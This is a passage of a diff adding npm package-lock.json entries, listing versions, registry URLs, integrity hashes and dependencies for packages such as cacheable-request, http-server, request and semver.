}, + "cacheable-request": { + "version": "7.0.2", + "resolved": "https://registry.npmjs.org/cacheable-request/-/cacheable-request-7.0.2.tgz", + "integrity": "sha512-pouW8/FmiPQbuGpkXQ9BAPv/Mo5xDGANgSNXzTzJ8DrKGuXOssM4wIQRjfanNRh3Yu5cfYPvcorqbhg2KIJtew==", + "requires": { + "clone-response": "^1.0.2", + "get-stream": "^5.1.0", + "http-cache-semantics": "^4.0.0", + "keyv": "^4.0.0", + "lowercase-keys": "^2.0.0", + "normalize-url": "^6.0.1", + "responselike": "^2.0.0" + } + }, + "decompress-response": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/decompress-response/-/decompress-response-6.0.0.tgz", + "integrity": "sha512-aW35yZM6Bb/4oJlZncMH2LCoZtJXTRxES17vE3hoRiowU2kWHaJKFkSBDnDR+cm9J+9QhXmREyIfv0pji9ejCQ==", + "requires": { + "mimic-response": "^3.1.0" + } + }, + "get-stream": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-5.2.0.tgz", + "integrity": "sha512-nBF+F1rAZVCu/p7rjzgA+Yb4lfYXrpl7a6VmJrU8wF9I1CKvP/QwPNZHnOlwbTkY6dvtFIzFMSyQXbLoTQPRpA==", + "requires": { + "pump": "^3.0.0" + } + }, + "http-cache-semantics": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/http-cache-semantics/-/http-cache-semantics-4.1.0.tgz", + "integrity": "sha512-carPklcUh7ROWRK7Cv27RPtdhYhUsela/ue5/jKzjegVvXDqM2ILE9Q2BGn9JZJh1g87cp56su/FgQSzcWS8cQ==" + }, + "json-buffer": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/json-buffer/-/json-buffer-3.0.1.tgz", + "integrity": "sha512-4bV5BfR2mqfQTJm+V5tPPdf+ZpuhiIvTuAB5g8kcrXOZpTT/QwwVRWBywX1ozr6lEuPdbHxwaJlm9G6mI2sfSQ==" + }, + "keyv": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/keyv/-/keyv-4.0.3.tgz", + "integrity": "sha512-zdGa2TOpSZPq5mU6iowDARnMBZgtCqJ11dJROFi6tg6kTn4nuUdU09lFyLFSaHrWqpIJ+EBq4E8/Dc0Vx5vLdA==", + "requires": { + "json-buffer": "3.0.1" + } + }, + "lowercase-keys": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/lowercase-keys/-/lowercase-keys-2.0.0.tgz", + "integrity": "sha512-tqNXrS78oMOE73NMxK4EMLQsQowWf8jKooH9g7xPavRT706R6bkQJ6DY2Te7QukaZsulxa30wQ7bk0pm4XiHmA==" + }, + "mimic-response": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/mimic-response/-/mimic-response-3.1.0.tgz", + "integrity": "sha512-z0yWI+4FDrrweS8Zmt4Ej5HdJmky15+L2e6Wgn3+iK5fWzb6T3fhNFq2+MeTRb064c6Wr4N/wv0DzQTjNzHNGQ==" + }, + "normalize-url": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/normalize-url/-/normalize-url-6.1.0.tgz", + "integrity": "sha512-DlL+XwOy3NxAQ8xuC0okPgK46iuVNAK01YN7RueYBqqFeGsBjV9XmCAzAdgt+667bCl5kPh9EqKKDwnaPG1I7A==" + }, + "p-cancelable": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/p-cancelable/-/p-cancelable-2.1.1.tgz", + "integrity": "sha512-BZOr3nRQHOntUjTrH8+Lh54smKHoHyur8We1V8DSMVrl5A2malOOwuJRnKRDjSnkoeBh4at6BwEnb5I7Jl31wg==" + }, + "responselike": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/responselike/-/responselike-2.0.0.tgz", + "integrity": "sha512-xH48u3FTB9VsZw7R+vvgaKeLKzT6jOogbQhEe/jewwnZgzPcnyWui2Av6JpoYZF/91uueC+lqhWqeURw5/qhCw==", + "requires": { + "lowercase-keys": "^2.0.0" + } + } + } + }, + "graceful-fs": { + "version": "4.2.8", + "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.8.tgz", + "integrity": "sha512-qkIilPUYcNhJpd33n0GBXTB1MMPp14TxEsEs0pTrsSVucApsYzW5V+Q8Qxhik6KU3evy+qkAAowTByymK0avdg==" + }, + "har-schema": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/har-schema/-/har-schema-2.0.0.tgz", + "integrity": "sha1-qUwiJOvKwEeCoNkDVSHyRzW37JI=" + }, + "har-validator": { + "version": "5.1.5", + "resolved": "https://registry.npmjs.org/har-validator/-/har-validator-5.1.5.tgz", + "integrity": "sha512-nmT2T0lljbxdQZfspsno9hgrG3Uir6Ks5afism62poxqBM6sDnMEuPmzTq8XN0OEwqKLLdh1jQI3qyE66Nzb3w==", + "requires": { + "ajv": "^6.12.3", + "har-schema": "^2.0.0" + } + }, + "has": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/has/-/has-1.0.3.tgz", + "integrity": "sha512-f2dvO0VU6Oej7RkWJGrehjbzMAjFp5/VKPp5tTpWIV4JHHZK1/BxbFRtf/siA2SWTe09caDmVtYYzWEIbBS4zw==", + "requires": { + "function-bind": "^1.1.1" + } + }, + "has-symbol-support-x": { + "version": "1.4.2", + "resolved": "https://registry.npmjs.org/has-symbol-support-x/-/has-symbol-support-x-1.4.2.tgz", + "integrity": "sha512-3ToOva++HaW+eCpgqZrCfN51IPB+7bJNVT6CUATzueB5Heb8o6Nam0V3HG5dlDvZU1Gn5QLcbahiKw/XVk5JJw==" + }, + "has-symbols": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.0.2.tgz", + "integrity": "sha512-chXa79rL/UC2KlX17jo3vRGz0azaWEx5tGqZg5pO3NUyEJVB17dMruQlzCCOfUvElghKcm5194+BCRvi2Rv/Gw==" + }, + "has-to-string-tag-x": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/has-to-string-tag-x/-/has-to-string-tag-x-1.4.1.tgz", + "integrity": "sha512-vdbKfmw+3LoOYVr+mtxHaX5a96+0f3DljYd8JOqvOLsf5mw2Otda2qCDT9qRqLAhrjyQ0h7ual5nOiASpsGNFw==", + "requires": { + "has-symbol-support-x": "^1.4.1" + } + }, + "he": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/he/-/he-1.2.0.tgz", + "integrity": "sha512-F/1DnUGPopORZi0ni+CvrCgHQ5FyEAHRLSApuYWMmrbSwoN2Mn/7k+Gl38gJnR7yyDZk6WLXwiGod1JOWNDKGw==" + }, + "http-cache-semantics": { + "version": "3.8.1", + "resolved": "https://registry.npmjs.org/http-cache-semantics/-/http-cache-semantics-3.8.1.tgz", + "integrity": "sha512-5ai2iksyV8ZXmnZhHH4rWPoxxistEexSi5936zIQ1bnNTW5VnA85B6P/VpXiRM017IgRvb2kKo1a//y+0wSp3w==" + }, + "http-proxy": { + "version": "1.18.1", + "resolved": "https://registry.npmjs.org/http-proxy/-/http-proxy-1.18.1.tgz", + "integrity": "sha512-7mz/721AbnJwIVbnaSv1Cz3Am0ZLT/UBwkC92VlxhXv/k/BBQfM2fXElQNC27BVGr0uwUpplYPQM9LnaBMR5NQ==", + "requires": { + "eventemitter3": "^4.0.0", + "follow-redirects": "^1.0.0", + "requires-port": "^1.0.0" + } + }, + "http-server": { + "version": "0.12.3", + "resolved": "https://registry.npmjs.org/http-server/-/http-server-0.12.3.tgz", + "integrity": "sha512-be0dKG6pni92bRjq0kvExtj/NrrAd28/8fCXkaI/4piTwQMSDSLMhWyW0NI1V+DBI3aa1HMlQu46/HjVLfmugA==", + "requires": { + "basic-auth": "^1.0.3", + "colors": "^1.4.0", + "corser": "^2.0.1", + "ecstatic": "^3.3.2", + "http-proxy": "^1.18.0", + "minimist": "^1.2.5", + "opener": "^1.5.1", + "portfinder": "^1.0.25", + "secure-compare": "3.0.1", + "union": "~0.5.0" + } + }, + "http-signature": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/http-signature/-/http-signature-1.2.0.tgz", + "integrity": "sha1-muzZJRFHcvPZW2WmCruPfBj7rOE=", + "requires": { + "assert-plus": "^1.0.0", + "jsprim": "^1.2.2", + "sshpk": "^1.7.0" + } + }, + "http2-wrapper": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/http2-wrapper/-/http2-wrapper-1.0.3.tgz", + "integrity": "sha512-V+23sDMr12Wnz7iTcDeJr3O6AIxlnvT/bmaAAAP/Xda35C90p9599p0F1eHR/N1KILWSoWVAiOMFjBBXaXSMxg==", + "requires": { + "quick-lru": "^5.1.1", + "resolve-alpn": "^1.0.0" + } + }, + "ieee754": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/ieee754/-/ieee754-1.2.1.tgz", + "integrity": "sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA==" + }, + "inherits": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", + "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==" + }, + "into-stream": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/into-stream/-/into-stream-3.1.0.tgz", + "integrity": "sha1-lvsKk2wSur1v8XUqF9BWFqvQlMY=", + "requires": { + "from2": "^2.1.1", + "p-is-promise": "^1.1.0" + } + }, + "is-natural-number": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/is-natural-number/-/is-natural-number-4.0.1.tgz", + "integrity": "sha1-q5124dtM7VHjXeDHLr7PCfc0zeg=" + }, + "is-object": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/is-object/-/is-object-1.0.2.tgz", + "integrity": "sha512-2rRIahhZr2UWb45fIOuvZGpFtz0TyOZLf32KxBbSoUCeZR495zCKlWUKKUByk3geS2eAs7ZAABt0Y/Rx0GiQGA==" + }, + "is-plain-obj": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/is-plain-obj/-/is-plain-obj-1.1.0.tgz", + "integrity": "sha1-caUMhCnfync8kqOQpKA7OfzVHT4=" + }, + "is-retry-allowed": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/is-retry-allowed/-/is-retry-allowed-1.2.0.tgz", + "integrity": "sha512-RUbUeKwvm3XG2VYamhJL1xFktgjvPzL0Hq8C+6yrWIswDy3BIXGqCxhxkc30N9jqK311gVU137K8Ei55/zVJRg==" + }, + "is-stream": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-1.1.0.tgz", + "integrity": "sha1-EtSj3U5o4Lec6428hBc66A2RykQ=" + }, + "is-typedarray": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-typedarray/-/is-typedarray-1.0.0.tgz", + "integrity": "sha1-5HnICFjfDBsR3dppQPlgEfzaSpo=" + }, + "isarray": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", + "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=" + }, + "isstream": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/isstream/-/isstream-0.1.2.tgz", + "integrity": "sha1-R+Y/evVa+m+S4VAOaQ64uFKcCZo=" + }, + "isurl": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/isurl/-/isurl-1.0.0.tgz", + "integrity": "sha512-1P/yWsxPlDtn7QeRD+ULKQPaIaN6yF368GZ2vDfv0AL0NwpStafjWCDDdn0k8wgFMWpVAqG7oJhxHnlud42i9w==", + "requires": { + "has-to-string-tag-x": "^1.2.0", + "is-object": "^1.0.1" + } + }, + "jsbn": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/jsbn/-/jsbn-0.1.1.tgz", + "integrity": "sha1-peZUwuWi3rXyAdls77yoDA7y9RM=" + }, + "json-buffer": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/json-buffer/-/json-buffer-3.0.0.tgz", + "integrity": "sha1-Wx85evx11ne96Lz8Dkfh+aPZqJg=" + }, + "json-schema": { + "version": "0.2.3", + "resolved": "https://registry.npmjs.org/json-schema/-/json-schema-0.2.3.tgz", + "integrity": "sha1-tIDIkuWaLwWVTOcnvT8qTogvnhM=" + }, + "json-schema-traverse": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", + "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==" + }, + "json-stringify-safe": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/json-stringify-safe/-/json-stringify-safe-5.0.1.tgz", + "integrity": "sha1-Epai1Y/UXxmg9s4B1lcB4sc1tus=" + }, + "jsprim": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/jsprim/-/jsprim-1.4.1.tgz", + "integrity": "sha1-MT5mvB5cwG5Di8G3SZwuXFastqI=", + "requires": { + "assert-plus": "1.0.0", + "extsprintf": "1.3.0", + "json-schema": "0.2.3", + "verror": "1.10.0" + } + }, + "keyv": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/keyv/-/keyv-3.0.0.tgz", + "integrity": "sha512-eguHnq22OE3uVoSYG0LVWNP+4ppamWr9+zWBe1bsNcovIMy6huUJFPgy4mGwCd/rnl3vOLGW1MTlu4c57CT1xA==", + "requires": { + "json-buffer": "3.0.0" + } + }, + "lodash": { + "version": "4.17.21", + "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz", + "integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==" + }, + "lowercase-keys": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/lowercase-keys/-/lowercase-keys-1.0.1.tgz", + "integrity": "sha512-G2Lj61tXDnVFFOi8VZds+SoQjtQC3dgokKdDG2mTm1tx4m50NUHBOZSBwQQHyy0V12A0JTG4icfZQH+xPyh8VA==" + }, + "make-dir": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-2.1.0.tgz", + "integrity": "sha512-LS9X+dc8KLxXCb8dni79fLIIUA5VyZoyjSMCwTluaXA0o27cCK0bhXkpgw+sTXVpPy/lSO57ilRixqk0vDmtRA==", + "requires": { + "pify": "^4.0.1", + "semver": "^5.6.0" + } + }, + "mime": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/mime/-/mime-1.6.0.tgz", + "integrity": "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg==" + }, + "mime-db": { + "version": "1.49.0", + "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.49.0.tgz", + "integrity": "sha512-CIc8j9URtOVApSFCQIF+VBkX1RwXp/oMMOrqdyXSBXq5RWNEsRfyj1kiRnQgmNXmHxPoFIxOroKA3zcU9P+nAA==" + }, + "mime-types": { + "version": "2.1.32", + "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.32.tgz", + "integrity": "sha512-hJGaVS4G4c9TSMYh2n6SQAGrC4RnfU+daP8G7cSCmaqNjiOoUY0VHCMS42pxnQmVF1GWwFhbHWn3RIxCqTmZ9A==", + "requires": { + "mime-db": "1.49.0" + } + }, + "mimic-response": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/mimic-response/-/mimic-response-1.0.1.tgz", + "integrity": "sha512-j5EctnkH7amfV/q5Hgmoal1g2QHFJRraOtmx0JpIqkxhBhI/lJSl1nMpQ45hVarwNETOoWEimndZ4QK0RHxuxQ==" + }, + "minimist": { + "version": "1.2.5", + "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.5.tgz", + "integrity": "sha512-FM9nNUYrRBAELZQT3xeZQ7fmMOBg6nWNmJKTcgsJeaLstP/UODVpGsr5OhXhhXg6f+qtJ8uiZ+PUxkDWcgIXLw==" + }, + "mkdirp": { + "version": "0.5.5", + "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.5.tgz", + "integrity": "sha512-NKmAlESf6jMGym1++R0Ra7wvhV+wFW63FaSOFPwRahvea0gMUcGUhVeAg/0BC0wiv9ih5NYPB1Wn1UEI1/L+xQ==", + "requires": { + "minimist": "^1.2.5" + } + }, + "ms": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", + "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==" + }, + "normalize-url": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/normalize-url/-/normalize-url-2.0.1.tgz", + "integrity": "sha512-D6MUW4K/VzoJ4rJ01JFKxDrtY1v9wrgzCX5f2qj/lzH1m/lW6MhUZFKerVsnyjOhOsYzI9Kqqak+10l4LvLpMw==", + "requires": { + "prepend-http": "^2.0.0", + "query-string": "^5.0.1", + "sort-keys": "^2.0.0" + }, + "dependencies": { + "sort-keys": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/sort-keys/-/sort-keys-2.0.0.tgz", + "integrity": "sha1-ZYU1WEhh7JfXMNbPQYIuH1ZoQSg=", + "requires": { + "is-plain-obj": "^1.0.0" + } + } + } + }, + "oauth-sign": { + "version": "0.9.0", + "resolved": "https://registry.npmjs.org/oauth-sign/-/oauth-sign-0.9.0.tgz", + "integrity": "sha512-fexhUFFPTGV8ybAtSIGbV6gOkSv8UtRbDBnAyLQw4QPKkgNlsH2ByPGtMUqdWkos6YCRmAqViwgZrJc/mRDzZQ==" + }, + "object-assign": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz", + "integrity": "sha1-IQmtx5ZYh8/AXLvUQsrIv7s2CGM=" + }, + "object-inspect": { + "version": "1.11.0", + "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.11.0.tgz", + "integrity": "sha512-jp7ikS6Sd3GxQfZJPyH3cjcbJF6GZPClgdV+EFygjFLQ5FmW/dRUnTd9PQ9k0JhoNDabWFbpF1yCdSWCC6gexg==" + }, + "once": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", + "integrity": "sha1-WDsap3WWHUsROsF9nFC6753Xa9E=", + "requires": { + "wrappy": "1" + } + }, + "opener": { + "version": "1.5.2", + "resolved": "https://registry.npmjs.org/opener/-/opener-1.5.2.tgz", + "integrity": "sha512-ur5UIdyw5Y7yEj9wLzhqXiy6GZ3Mwx0yGI+5sMn2r0N0v3cKJvUmFH5yPP+WXh9e0xfyzyJX95D8l088DNFj7A==" + }, + "p-cancelable": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/p-cancelable/-/p-cancelable-0.4.1.tgz", + "integrity": "sha512-HNa1A8LvB1kie7cERyy21VNeHb2CWJJYqyyC2o3klWFfMGlFmWv2Z7sFgZH8ZiaYL95ydToKTFVXgMV/Os0bBQ==" + }, + "p-event": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/p-event/-/p-event-2.3.1.tgz", + "integrity": "sha512-NQCqOFhbpVTMX4qMe8PF8lbGtzZ+LCiN7pcNrb/413Na7+TRoe1xkKUzuWa/YEJdGQ0FvKtj35EEbDoVPO2kbA==", + "requires": { + "p-timeout": "^2.0.1" + } + }, + "p-finally": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/p-finally/-/p-finally-1.0.0.tgz", + "integrity": "sha1-P7z7FbiZpEEjs0ttzBi3JDNqLK4=" + }, + "p-is-promise": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/p-is-promise/-/p-is-promise-1.1.0.tgz", + "integrity": "sha1-nJRWmJ6fZYgBewQ01WCXZ1w9oF4=" + }, + "p-timeout": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/p-timeout/-/p-timeout-2.0.1.tgz", + "integrity": "sha512-88em58dDVB/KzPEx1X0N3LwFfYZPyDc4B6eF38M1rk9VTZMbxXXgjugz8mmwpS9Ox4BDZ+t6t3QP5+/gazweIA==", + "requires": { + "p-finally": "^1.0.0" + } + }, + "pend": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/pend/-/pend-1.2.0.tgz", + "integrity": "sha1-elfrVQpng/kRUzH89GY9XI4AelA=" + }, + "performance-now": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/performance-now/-/performance-now-2.1.0.tgz", + "integrity": "sha1-Ywn04OX6kT7BxpMHrjZLSzd8nns=" + }, + "pify": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/pify/-/pify-4.0.1.tgz", + "integrity": "sha512-uB80kBFb/tfd68bVleG9T5GGsGPjJrLAUpR5PZIrhBnIaRTQRjqdJSsIKkOP6OAIFbj7GOrcudc5pNjZ+geV2g==" + }, + "pinkie": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/pinkie/-/pinkie-2.0.4.tgz", + "integrity": "sha1-clVrgM+g1IqXToDnckjoDtT3+HA=" + }, + "pinkie-promise": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/pinkie-promise/-/pinkie-promise-2.0.1.tgz", + "integrity": "sha1-ITXW36ejWMBprJsXh3YogihFD/o=", + "requires": { + "pinkie": "^2.0.0" + } + }, + "png-js": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/png-js/-/png-js-1.0.0.tgz", + "integrity": "sha512-k+YsbhpA9e+EFfKjTCH3VW6aoKlyNYI6NYdTfDL4CIvFnvsuO84ttonmZE7rc+v23SLTH8XX+5w/Ak9v0xGY4g==" + }, + "portfinder": { + "version": "1.0.28", + "resolved": "https://registry.npmjs.org/portfinder/-/portfinder-1.0.28.tgz", + "integrity": "sha512-Se+2isanIcEqf2XMHjyUKskczxbPH7dQnlMjXX6+dybayyHvAf/TCgyMRlzf/B6QDhAEFOGes0pzRo3by4AbMA==", + "requires": { + "async": "^2.6.2", + "debug": "^3.1.1", + "mkdirp": "^0.5.5" + } + }, + "prepend-http": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/prepend-http/-/prepend-http-2.0.0.tgz", + "integrity": "sha1-6SQ0v6XqjBn0HN/UAddBo8gZ2Jc=" + }, + "process-nextick-args": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz", + "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==" + }, + "psl": { + "version": "1.8.0", + "resolved": "https://registry.npmjs.org/psl/-/psl-1.8.0.tgz", + "integrity": "sha512-RIdOzyoavK+hA18OGGWDqUTsCLhtA7IcZ/6NCs4fFJaHBDab+pDDmDIByWFRQJq2Cd7r1OoQxBGKOaztq+hjIQ==" + }, + "pump": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/pump/-/pump-3.0.0.tgz", + "integrity": "sha512-LwZy+p3SFs1Pytd/jYct4wpv49HiYCqd9Rlc5ZVdk0V+8Yzv6jR5Blk3TRmPL1ft69TxP0IMZGJ+WPFU2BFhww==", + "requires": { + "end-of-stream": "^1.1.0", + "once": "^1.3.1" + } + }, + "punycode": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.1.1.tgz", + "integrity": "sha512-XRsRjdf+j5ml+y/6GKHPZbrF/8p2Yga0JPtdqTIY2Xe5ohJPD9saDJJLPvp9+NSBprVvevdXZybnj2cv8OEd0A==" + }, + "qrcode-terminal": { + "version": "0.12.0", + "resolved": "https://registry.npmjs.org/qrcode-terminal/-/qrcode-terminal-0.12.0.tgz", + "integrity": "sha512-EXtzRZmC+YGmGlDFbXKxQiMZNwCLEO6BANKXG4iCtSIM0yqc/pappSx3RIKr4r0uh5JsBckOXeKrB3Iz7mdQpQ==" + }, + "qs": { + "version": "6.10.1", + "resolved": "https://registry.npmjs.org/qs/-/qs-6.10.1.tgz", + "integrity": "sha512-M528Hph6wsSVOBiYUnGf+K/7w0hNshs/duGsNXPUCLH5XAqjEtiPGwNONLV0tBH8NoGb0mvD5JubnUTrujKDTg==", + "requires": { + "side-channel": "^1.0.4" + } + }, + "query-string": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/query-string/-/query-string-5.1.1.tgz", + "integrity": "sha512-gjWOsm2SoGlgLEdAGt7a6slVOk9mGiXmPFMqrEhLQ68rhQuBnpfs3+EmlvqKyxnCo9/PPlF+9MtY02S1aFg+Jw==", + "requires": { + "decode-uri-component": "^0.2.0", + "object-assign": "^4.1.0", + "strict-uri-encode": "^1.0.0" + } + }, + "quick-lru": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/quick-lru/-/quick-lru-5.1.1.tgz", + "integrity": "sha512-WuyALRjWPDGtt/wzJiadO5AXY+8hZ80hVpe6MyivgraREW751X3SbhRvG3eLKOYN+8VEvqLcf3wdnt44Z4S4SA==" + }, + "readable-stream": { + "version": "2.3.7", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz", + "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==", + "requires": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" + } + }, + "request": { + "version": "2.88.2", + "resolved": "https://registry.npmjs.org/request/-/request-2.88.2.tgz", + "integrity": "sha512-MsvtOrfG9ZcrOwAW+Qi+F6HbD0CWXEh9ou77uOb7FM2WPhwT7smM833PzanhJLsgXjN89Ir6V2PczXNnMpwKhw==", + "requires": { + "aws-sign2": "~0.7.0", + "aws4": "^1.8.0", + "caseless": "~0.12.0", + "combined-stream": "~1.0.6", + "extend": "~3.0.2", + "forever-agent": "~0.6.1", + "form-data": "~2.3.2", + "har-validator": "~5.1.3", + "http-signature": "~1.2.0", + "is-typedarray": "~1.0.0", + "isstream": "~0.1.2", + "json-stringify-safe": "~5.0.1", + "mime-types": "~2.1.19", + "oauth-sign": "~0.9.0", + "performance-now": "^2.1.0", + "qs": "~6.5.2", + "safe-buffer": "^5.1.2", + "tough-cookie": "~2.5.0", + "tunnel-agent": "^0.6.0", + "uuid": "^3.3.2" + }, + "dependencies": { + "qs": { + "version": "6.5.2", + "resolved": "https://registry.npmjs.org/qs/-/qs-6.5.2.tgz", + "integrity": "sha512-N5ZAX4/LxJmF+7wN74pUD6qAh9/wnvdQcjq9TZjevvXzSUo7bfmw91saqMjzGS2xq91/odN2dW/WOl7qQHNDGA==" + }, + "tough-cookie": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-2.5.0.tgz", + "integrity": "sha512-nlLsUzgm1kfLXSXfRZMc1KLAugd4hqJHDTvc2hDIwS3mZAfMEuMbc03SujMF+GEcpaX/qboeycw6iO8JwVv2+g==", + "requires": { + "psl": "^1.1.28", + "punycode": "^2.1.1" + } + } + } + }, + "requires-port": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/requires-port/-/requires-port-1.0.0.tgz", + "integrity": "sha1-kl0mAdOaxIXgkc8NpcbmlNw9yv8=" + }, + "resolve-alpn": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/resolve-alpn/-/resolve-alpn-1.2.1.tgz", + "integrity": "sha512-0a1F4l73/ZFZOakJnQ3FvkJ2+gSTQWz/r2KE5OdDY0TxPm5h4GkqkWWfM47T7HsbnOtcJVEF4epCVy6u7Q3K+g==" + }, + "responselike": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/responselike/-/responselike-1.0.2.tgz", + "integrity": "sha1-kYcg7ztjHFZCvgaPFa3lpG9Loec=", + "requires": { + "lowercase-keys": "^1.0.0" + } + }, + "safe-buffer": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==" + }, + "safer-buffer": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", + "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==" + }, + "secure-compare": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/secure-compare/-/secure-compare-3.0.1.tgz", + "integrity": "sha1-8aAymzCLIh+uN7mXTz1XjQypmeM=" + }, + "seek-bzip": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/seek-bzip/-/seek-bzip-1.0.6.tgz", + "integrity": "sha512-e1QtP3YL5tWww8uKaOCQ18UxIT2laNBXHjV/S2WYCiK4udiv8lkG89KRIoCjUagnAmCBurjF4zEVX2ByBbnCjQ==", + "requires": { + "commander": "^2.8.1" + } + }, + "semver": { + "version": "5.7.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz", + "integrity": 